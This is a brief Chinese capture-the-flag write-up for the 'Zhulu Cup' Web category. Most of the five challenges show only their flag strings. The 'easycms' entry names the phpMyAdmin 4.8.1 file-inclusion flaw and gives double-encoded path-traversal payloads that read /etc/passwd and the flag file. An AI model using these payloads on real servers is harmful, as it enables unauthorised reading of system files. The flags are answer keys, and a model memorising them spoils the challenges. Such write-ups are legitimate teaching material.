逐鹿杯Web

目录

一、babyupload

二、eval后门

三、签到

四、magic_tower

五、easycms？

---

一、babyupload

ZLCTF{5acb72b8-137f-4daa-a647-340b72101d4b}

二、eval后门

Web 目录爆破神器：Dirsearch 保姆级教程

 

flag{e94d70de-b378-4cab-acbf-4915c58486a0}

三、签到

ZLCTF{welC0mE_70_2lc7f_H4vE_4_Fun_94mE}

四、magic_tower

ZLCTF{0h_y0u_have_talent_of_G3me}

五、easycms？

phpmyadmin4.8.1查看文件漏洞

target=db_datadict.php%253f/../../../../../../../../etc/passwd

（db_sql.php是白名单里其中一个）修改一下

target=db_sql.php%253f/…/…/…/…/…/…/…/…/flag

zlctf{9bb2224d-35b0-49dc-96c4-c7b42df421db}